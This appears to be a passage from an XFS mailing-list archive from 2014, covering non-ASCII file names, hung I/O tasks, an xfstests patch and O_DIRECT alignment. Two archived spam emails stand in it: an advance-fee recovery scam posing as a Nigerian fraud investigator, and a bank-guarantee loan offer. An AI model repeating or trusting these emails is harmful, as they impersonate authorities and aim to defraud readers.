=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b= --bcaec544eeccccc06a04f01bc12c-- From mw@dermichi.com Thu Jan 16 14:56:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 566D37F37 for ; Thu, 16 Jan 2014 14:56:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 497038F804B for ; Thu, 16 Jan 2014 12:55:57 -0800 (PST) X-ASG-Debug-ID: 1389905754-04cbb04169e318f0001-NocioJ Received: from firestarter.dermichi.com (firestarter.dermichi.com [194.177.153.153]) by cuda.sgi.com with ESMTP id eS9q1NIbbOt0F6YR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 12:55:55 -0800 (PST) X-Barracuda-Envelope-From: mw@dermichi.com X-Barracuda-Apparent-Source-IP: 194.177.153.153 Received: from 191-159-177-194.static.net4you.net ([194.177.159.191] helo=[192.168.17.116]) by firestarter.dermichi.com with esmtpsa (TLSv1:DHE-RSA-CAMELLIA256-SHA:256) (Exim 4.82) (envelope-from ) id 1W3tyk-0004pS-1h for xfs@oss.sgi.com; Thu, 16 Jan 2014 21:55:54 +0100 Message-ID: <52D84757.9080907@dermichi.com> Date: Thu, 16 Jan 2014 21:55:51 +0100 From: Michael Weissenbacher User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair References: <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> <20140115063722.GW3469@dastard> <52D6AF1A.8010604@sandeen.net> <20140115210803.GX3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: <20140115210803.GX3469@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: firestarter.dermichi.com[194.177.153.153] X-Barracuda-Start-Time: 1389905755 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144155 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi! > > The utf-8 patches add a "is this valid utf-8" check to all the > operations that care. We could probably do that for the ASCII-CI > stuff if you can define what ASCII means.... > That's easy actually, since ASCII is a 7-bit code it can only contain char values between 0-127 or in other words the highest bit must not be set in any char. But probably this strict check could break other stuff. cheers, Michael From joe133@citiz.net Thu Jan 16 15:00:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.5 required=5.0 tests=ADVANCE_FEE_3_NEW,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C2447F37 for ; Thu, 16 Jan 2014 15:00:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C23B9AC004 for ; Thu, 16 Jan 2014 13:00:55 -0800 (PST) X-ASG-Debug-ID: 1389906048-04bdf00fe0738570001-w1Z2WR Received: from wg6.online.sh.cn (wg9.online.sh.cn [61.152.75.180]) by cuda.sgi.com with SMTP id sVWTDTqDA7px0UkK for ; Thu, 16 Jan 2014 13:00:48 -0800 (PST) X-Barracuda-Envelope-From: joe133@citiz.net X-Barracuda-Apparent-Source-IP: 61.152.75.180 Received: from [61.152.74.145] by mail.online.sh.cn with messagesec esmtp id 5046856610617271; Fri, 17 Jan 2014 05:00:42 +0800 (CST) Received: from cluster-ms04.online.sh.cn (ms04.online.sh.cn [10.1.1.148]) by mta01.online.sh.cn (Postfix) with ESMTP id 79D0C24AF0BB; Fri, 17 Jan 2014 05:00:41 +0800 (CST) Date: Fri, 17 Jan 2014 05:00:41 +0800 (CST) From: COMPENSATION OFFICE Reply-To: COMPENSATION OFFICE Message-ID: <274787132.4029602.1389906041588.JavaMail.root@citiz.net> Subject: Your real fund MIME-Version: 1.0 X-ASG-Orig-Subj: Your real fund Content-Type: multipart/alternative; boundary="----=_Part_4029601_98785009.1389906041585" X-Originating-IP: [41.138.188.218] X-Mailer: Zimbra 7.0.0_BETA1_1111 (ZimbraWebClient - FF3.0 (Win)/7.2.0_GA_2669) To: undisclosed-recipients:; X-Barracuda-Connect: wg9.online.sh.cn[61.152.75.180] X-Barracuda-Start-Time: 1389906048 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 64f13fc47250b17412cc6864cd2ab662-4320-txt X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144155 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_4029601_98785009.1389906041585 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Detective Alex Murphy Head of Internet scam investigation Panel Address: Zaria Street, Off Samuel Akintola Garki 11, Garki-Abuja Nigeria. Attention, We contacted you some time ago after the discovery and report contained in this email regarding scams you may have been into or still going through from impostors in West Africa that sends out thousands of scam emails daily looking for foreigners to rip off imposing offices and personals here but you did not reply or the email was not delivered, we are writing again to let you know that those impostors and fraudsters who have been sending you scam email all have your email and other info on their files and that is why you have been receiving all kinds of scam email, some group of impostors caught ripping foreigners off from a local cyber cafe in Lagos Nigeria,Cotonou Benin republic and Accra Ghana confessed imposing Banks/Delivery Company/EFCC/IMF/FBI/Western Union/Money gram/Diplomat Agents/ and others imposed offices around the globe especially in West Africa and your info is with them, we were told they have requested money after money for acquiring never existing and fake documents from most of their victims. You are being contacted by the Internet Scam Investigation Department of the Economical and Financial Crimes,the people you are dealing with are all impostors operating from different part of Africa, they only want your money and they are the same people but write you differently and that is why you may have been receiving a lot of email daily and you are confused because you don't know the truth, you find it very easy sending your personal information to any emails claiming they have fund approved in your name and you have not made true inquiry before you start dealing with them and as a result your info is on the internet and that gives these fraudsters easy access to flood your email box with scams,they are not what and never who they claim and I don't know how long you have been dealing with them or responding to them, You can not blame any real Bank in West Africa or any personnel here, these impostors impose them and scam thousands of foreigners but you end up blaming these real offices in Africa or the personals only because you don't know it was not really them but impostors. I ask, have you been able to find out why you receive all kinds of emails daily claiming it have funds for you here and there? Have you really inquired from the right office in West Africa to know if there is actually any true approved fund you have here? if there is any fund awarded in your name at all? Or do you believe anybody that contacts you and says they have fund for you? recent report from the Internet Scam Investigation Dept revealed that 78% of internet crimes in Africa is being carried out by jobless youths in West Africa (issue on unemployment rate in West Africa) authorities are working hard to eradicate internet scams West Africa to protect the image of this continent,it was also revealed that these fraudsters has partners working with them all over the World, so it is all over the World. By the virtue of subsection (3) of section 4 of the 1999 Economical and financial crime Constitution all 102 Section 120 of the Criminal Procedure Act gives the court a discretion for judgment against these impostors to serve 21years jail terms,furthermore the Nigerian Government shall no longer award compensation fund having dne that few years ago, Meanwhile you are advised to contact the Foreign Affairs Commission to make inquiry if you have any approved fund in Africa be it compensation fund/contract/inheritance/winnings make your inquiry first from the Foreign Affairs Commission, contact Mr.Fabian C. Obi on the following e-mail: officedesk1@superposta.com Foreign Affairs Commission Mr.Fabian C. Obi E-mail: officedesk1@superposta.com Report any email you receive that claims to have funds for you from West Africa to this office.the only office you should contact and know the truth if you have ay true fund approved here or if you are among the compensated beneficiaries is the Foreign Affairs Commission, Detective Alex Murphy Head Internet Scam Investigation and Information Group Economical and Financial Crime Commission. ------=_Part_4029601_98785009.1389906041585 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable <= div style=3D'font-family: arial,helvetica,sans-serif; font-size: 12pt; colo= r: #FFFF00'>

Detective Alex Murphy
Head of Internet scam inve= stigation Panel
Address: Zaria Street, Off Samuel Akintola
Garki 11, = Garki-Abuja Nigeria.

Attention,

We
contacted you some tim= e ago after the discovery and report contained in
this email regarding = scams you may have been into or still going
through from impostors in W= est Africa that sends out thousands of scam
emails daily looking for fo= reigners to rip off imposing offices and
personals here but you did not= reply or the email was not delivered, we
are writing again to let you = know that those impostors and fraudsters
who have been sending you scam= email all have your email and other info
on their files and that is wh= y you have been receiving all kinds of scam
email, some group of impost= ors caught ripping foreigners off from a
local cyber cafe in Lagos Nige= ria,Cotonou Benin republic and Accra Ghana
confessed imposing Banks/Del= ivery Company/EFCC/IMF/FBI/Western
Union/Money gram/Diplomat Agents/ an= d others imposed offices around the
globe especially in West Africa and= your info is with them, we were told
they have requested money after m= oney for acquiring never existing and
fake documents from most of their= victims.

You are being
contacted by the Internet Scam Investiga= tion Department of the
Economical and Financial Crimes,the people you a= re dealing with are all
impostors operating from different part of Afri= ca, they only want your
money and they are the same people but write yo= u differently and that is
why you may have been receiving a lot of emai= l daily and you are
confused because you don't know the truth, you find= it very easy sending
your personal information to any emails claiming = they have fund
approved in your name and you have not made true inquiry= before you
start dealing with them and as a result your info is on the= internet and
that gives these fraudsters easy access to flood your ema= il box with
scams,they are not what and never who they claim and I don'= t know how
long you have been dealing with them or responding to them,<= br>
You
can not blame any real Bank in West Africa or any personnel = here, these
impostors impose them and scam thousands of foreigners but = you end up
blaming these real offices in Africa or the personals only b= ecause you
don't know it was not really them but impostors.

I as= k, have you
been able to find out why you receive all kinds of emails d= aily claiming
it have funds for you here and there? Have you really inq= uired from the
right office in West Africa to know if there is actually= any true
approved fund you have here? if there is any fund awarded in = your name
at all? Or do you believe anybody that contacts you and says = they have
fund for you? recent report from the Internet Scam Investigat= ion Dept
revealed that 78% of internet crimes in Africa is being carrie= d out by
jobless youths in West Africa (issue on unemployment rate in W= est
Africa) authorities are working hard to eradicate internet scams We= st
Africa to protect the image of this continent,it was also revealed t= hat
these fraudsters has partners working with them all over the World,= so
it is all over the World.

By the virtue of subsection (3) of=
section 4 of the 1999 Economical and financial crime Constitution all =
102 Section 120 of the Criminal Procedure Act gives the court a
dis= cretion for judgment against these impostors to serve 21years jail
term= s,furthermore the Nigerian Government shall no longer award
compensatio= n fund  having dne that few years ago, Meanwhile you are
advised t= o contact the Foreign Affairs Commission to make inquiry if you
have an= y approved fund in Africa be it compensation
fund/contract/inheritance/= winnings make your inquiry first from the
Foreign Affairs Commission, c= ontact Mr.Fabian C. Obi on the following
e-mail: officedesk1@superposta= .com

Foreign Affairs Commission
Mr.Fabian C. Obi
E-mail: offic= edesk1@superposta.com

Report
any email you receive that claims t= o have funds for you from West
Africa to this office.the only office yo= u should contact and know the
truth if you have ay true fund approved h= ere or if you are among the
compensated beneficiaries is the Foreign Af= fairs Commission,

Detective Alex Murphy
Head Internet Scam Invest= igation and Information Group
Economical and Financial Crime Commission.=

------=_Part_4029601_98785009.1389906041585-- From sgosse@sgi.com Thu Jan 16 15:11:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B048E7F37 for ; Thu, 16 Jan 2014 15:11:19 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id A48EB8F804B; Thu, 16 Jan 2014 13:11:16 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by pv-excas2-dc21.corp.sgi.com ([137.38.106.9]) with mapi id 14.03.0123.003; Thu, 16 Jan 2014 15:11:16 -0600 From: Shaun Gosse To: Michael Weissenbacher , "xfs@oss.sgi.com" Subject: RE: Files with non-ASCII names inaccessible after xfs_repair Thread-Topic: Files with non-ASCII names inaccessible after xfs_repair Thread-Index: AQHPD5o5WlzwS4DA1UaTKKzNEQvK4ZqB0vkAgAASeYCAAGOAgIAADNaAgAAMOICAAAe9gIABBqYAgAA9dQCAADb3AIAADWGAgAF8dgCAAAGNgIAAHlyAgAAcwICAABKPAIAAm4gAgABXvICAAY7sgP//nVRQ Date: Thu, 16 Jan 2014 21:11:15 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644AB368@P-EXMB2-DC21.corp.sgi.com> References: <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> <20140115063722.GW3469@dastard> <52D6AF1A.8010604@sandeen.net> <20140115210803.GX3469@dastard> <52D84757.9080907@dermichi.com> In-Reply-To: <52D84757.9080907@dermichi.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [128.162.232.205] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 > That's easy actually, since ASCII is a 7-bit code it can only contain cha= r values between 0-127 or in other words the highest bit must not be set in= any char. But probably this strict check could break other stuff. As long as you exclude extended ascii and data corruption, I don't know wha= t else that could break. My guess would be that ASCII as understood by XFS = users would be the 0-127 and not the various mix of extensions. If you want= to include support for extended ascii...then I don't think there's any way= to determine non-probabilistically the difference between ASCII and UTF ba= sed on the data itself. I have no idea what the current behavior is with respect to extended ASCII = (whether it's supported, or works, or anything). Cheers, -Shaun -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Michael Weissenbacher Sent: Thursday, January 16, 2014 2:56 PM To: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Hi! > > The utf-8 patches add a "is this valid utf-8" check to all the=20 > operations that care. We could probably do that for the ASCII-CI stuff=20 > if you can define what ASCII means.... > That's easy actually, since ASCII is a 7-bit code it can only contain char = values between 0-127 or in other words the highest bit must not be set in a= ny char. But probably this strict check could break other stuff. cheers, Michael _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From email@blazefury.mschosting.com Thu Jan 16 15:39:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1E547F3F for ; Thu, 16 Jan 2014 15:39:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8C0FB304087 for ; Thu, 16 Jan 2014 13:39:19 -0800 (PST) X-ASG-Debug-ID: 1389908355-04bdf00fe0739a20002-w1Z2WR Received: from blazefury.penang.mschosting.com (blazefury.mschosting.com [110.4.46.66]) by cuda.sgi.com with ESMTP id 4uhH97AH263WK3hn for ; Thu, 16 Jan 2014 13:39:17 -0800 (PST) X-Barracuda-Envelope-From: email@blazefury.mschosting.com X-Barracuda-Apparent-Source-IP: 110.4.46.66 Received: from blazefury.penang.mschosting.com ([110.4.46.66]) by blazefury.penang.mschosting.com with Microsoft SMTPSVC(7.5.7601.17514); Fri, 17 Jan 2014 05:39:05 +0800 Date: Fri, 17 Jan 2014 05:39:05 +0800 Subject: Project Financing / Loan '''''''''' To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Project Financing / Loan '''''''''' From: John Beckley Reply-To: johnbeckley197@gmail.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-ID: X-OriginalArrivalTime: 16 Jan 2014 21:39:05.0003 (UTC) FILETIME=[60FC97B0:01CF1303] X-Barracuda-Connect: blazefury.mschosting.com[110.4.46.66] X-Barracuda-Start-Time: 1389908357 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144156 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Dear Sir / Madam I am the investment officer of a Hong-Kong based investment companies who are ready to fund projects outside Hong-Kong in the form of debt finance. The companies grant loan to both corporate and private entities at a low interest rate per annual. I also have efficient provider for Bank Guarantee (BG)/SBLC specifically for lease, at a leasing price of 7+2 of face value Issuance by HSBC London/Hong Kong or any other 25 top AA rated Bank in Europe,Middle East /USA hence If you have need for Corporate loans, International project funding, etc, our BG/SBLC financing can help you get your project funded, loan financing by providing you with yearly renewable leased bank instruments and this Instrument can be monetized on your behalf for 100% funding. For further details,please contact me with the below information and Intermediaries/Consultants/Brokers are welcome to bring their clients and are 100% protected bearing in mind that the terms are very flexible and interesting and in complete confidence, we will work together for the benefits of all parties involved. Email......... Contact Person: ...... skype:........ Regards John From david@fromorbit.com Thu Jan 16 15:58:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A6AB47F57 for ; Thu, 16 Jan 2014 15:58:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3A47BAC002 for ; Thu, 16 Jan 2014 13:58:20 -0800 (PST) X-ASG-Debug-ID: 1389909495-04cbb04168e33740001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id jYhFWcxmWm7SbHRg for ; Thu, 16 Jan 2014 13:58:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgYJAD1V2FJ5LKVw/2dsb2JhbABZgwuDOrMShVOBEBd0giUBAQEEOhwjEAgDDgoJJQ8FJQMhE4gDxUAXFo4gSQeEOASYIJIYg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl6.internode.on.net with ESMTP; 17 Jan 2014 08:28:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3ux2-0004iR-4d; Fri, 17 Jan 2014 08:58:12 +1100 Date: Fri, 17 Jan 2014 08:58:12 +1100 From: Dave Chinner To: Ivan Novick Cc: xfs@oss.sgi.com Subject: Re: xfs: blocked for more than 120 seconds Message-ID: <20140116215812.GS3431@dastard> X-ASG-Orig-Subj: Re: xfs: blocked for more than 120 seconds References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1389909495 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144157 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 16, 2014 at 11:51:52AM -0800, Ivan Novick wrote: > Hello, > > I am running a server with heavy workload on a XFS mount: > /dev/mapper/v2-d1 on /d/d1 type xfs (rw,nodev,noatime,inode64,allocsize=16m) > 2.6.32-424.el6.x86_64 #1 SMP Mon Oct 14 20:11:50 EDT 2013 x86_64 x86_64 > x86_64 GNU/Linux > > We get errors in log indicating processes are blocked for more than 120 > seconds. > > 1) Is this expected during heavy workload? > 2) What would be the impact on the processes? Are they basically hung in > userspace waiting for IO? > 3) Is there anything we tune here? > > Below is the output. > > Cheers, > Ivan Novick > > INFO: task flush-253:1:6882 blocked for more than 120 seconds. > Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 Proprietary kernel module taint on a RHEL/centos kernel, so there's no guarantee anyone will be able to debug this here. If it's RHEL you are using, please report it through your support channels... > "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > flush-253:1 D 0000000000000000 0 6882 2 0x00000000 > ffff881011fa5690 0000000000000046 0000000000000000 ffff881013cba040 > 0000000000000001 ffff88012a447d40 ffff881013cba040 ffff881016eb4830 > ffff881013cba5f8 ffff881011fa5fd8 000000000000fbc8 ffff881013cba5f8 > Call Trace: > [] io_schedule+0x73/0xc0 > [] get_request_wait+0x108/0x1d0 > [] ? autoremove_wake_function+0x0/0x40 > [] ? elv_merge+0x17e/0x1c0 > [] blk_queue_bio+0x99/0x620 > [] generic_make_request+0x240/0x5a0 Waiting for IO completion. Looks like you've either severely overloaded your storage subsystem, or it's died and isn't responding anymore. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Thu Jan 16 16:11:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E41497F53 for ; Thu, 16 Jan 2014 16:11:35 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id CA76B304081; Thu, 16 Jan 2014 14:11:32 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 946274266AC; Thu, 16 Jan 2014 16:11:32 -0600 (CST) Date: Thu, 16 Jan 2014 16:11:32 -0600 From: Ben Myers To: David Sterba Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfstests: fix minor build warning Message-ID: <20140116221132.GK1935@sgi.com> References: <46203afc2c2423b9df110a38be39c632dd83d5c7.1389891730.git.dsterba@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <46203afc2c2423b9df110a38be39c632dd83d5c7.1389891730.git.dsterba@suse.cz> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Jan 16, 2014 at 06:07:11PM +0100, David Sterba wrote: > Make in the toplevel directory tries to process the 'group' file that > existed in the previous file layout > > $ make > sed: can't read group: No such file or directory > sed: can't read group: No such file or directory > ... > > Signed-off-by: David Sterba Looks good. Reviewed-by: Ben Myers From david@fromorbit.com Thu Jan 16 17:23:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9EB067F5D for ; Thu, 16 Jan 2014 17:23:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7BAD2304084 for ; Thu, 16 Jan 2014 15:23:28 -0800 (PST) X-ASG-Debug-ID: 1389914602-04bdf00fdf73c200001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id MoqCVjt2rCKLIAeV for ; Thu, 16 Jan 2014 15:23:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgYJAMJe2FJ5LKVw/2dsb2JhbABZgwuDOrMShVOBDxd0giUBAQEEJxMcIxAIAxgJJQ8FJQMhCgmIA8U+FxaOElcHhDgEmCCKTodKg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Jan 2014 09:51:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3wFg-0004rt-Cs; Fri, 17 Jan 2014 10:21:32 +1100 Date: Fri, 17 Jan 2014 10:21:32 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size Message-ID: <20140116232132.GT3431@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size References: <52D6CC91.6000408@redhat.com> <20140115223848.GZ3469@dastard> <52D71115.1070309@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D71115.1070309@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389914602 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144160 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 15, 2014 at 04:52:05PM -0600, Eric Sandeen wrote: > On 1/15/14, 4:38 PM, Dave Chinner wrote: > > On Wed, Jan 15, 2014 at 11:59:45AM -0600, Eric Sandeen wrote: > >> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > >> index 33ad9a7..1f3431f 100644 > >> --- a/fs/xfs/xfs_ioctl.c > >> +++ b/fs/xfs/xfs_ioctl.c > >> @@ -1587,7 +1587,12 @@ xfs_file_ioctl( > >> XFS_IS_REALTIME_INODE(ip) ? > >> mp->m_rtdev_targp : mp->m_ddev_targp; > >> > >> - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; > >> + /* > >> + * Report device physical sector size as "optimal" minimum, > >> + * unless blocksize is smaller than that. > >> + */ > >> + da.d_miniosz = min(target->bt_pssize, target->bt_bsize); > > > > Just grab the filesysetm block size from the xfs_mount: > > > > da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); > > > >> + da.d_mem = da.d_miniosz; > > > > I'd suggest that this should be PAGE_SIZE - it's for memory buffer > > alignment, not IO alignment, so using the IO alignment just seems > > wrong to me... > > Ok. Was just sticking close to what we had before. > > So: > da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); > da.d_mem = PAGE_SIZE; > > ? Then we can have a minimum IO size of 512, and a memory alignment of > 4k, isn't that a little odd? > > (IOWs we could do 512-aligned memory before, right? What's the downside, > or the value in changing it now?) We can do arbitrary byte aligned buffers if I understand get_user_pages() correctly - it just maps the page under the buffer into the kernel address space and then the bio is pointed at it. AFAICT, the reason for the "memory buffer needs 512 byte alignment" is simply that this is the minimum IO size supported. However, for large IOs, 512 byte alignment is not really optimal. If we don't align the buffer to PAGE_SIZE, then we have partial head and tail pages, so for a 512k IO we need to map 129 pages into a bio instead of 128. When you have hardware that can only handle 128 segments 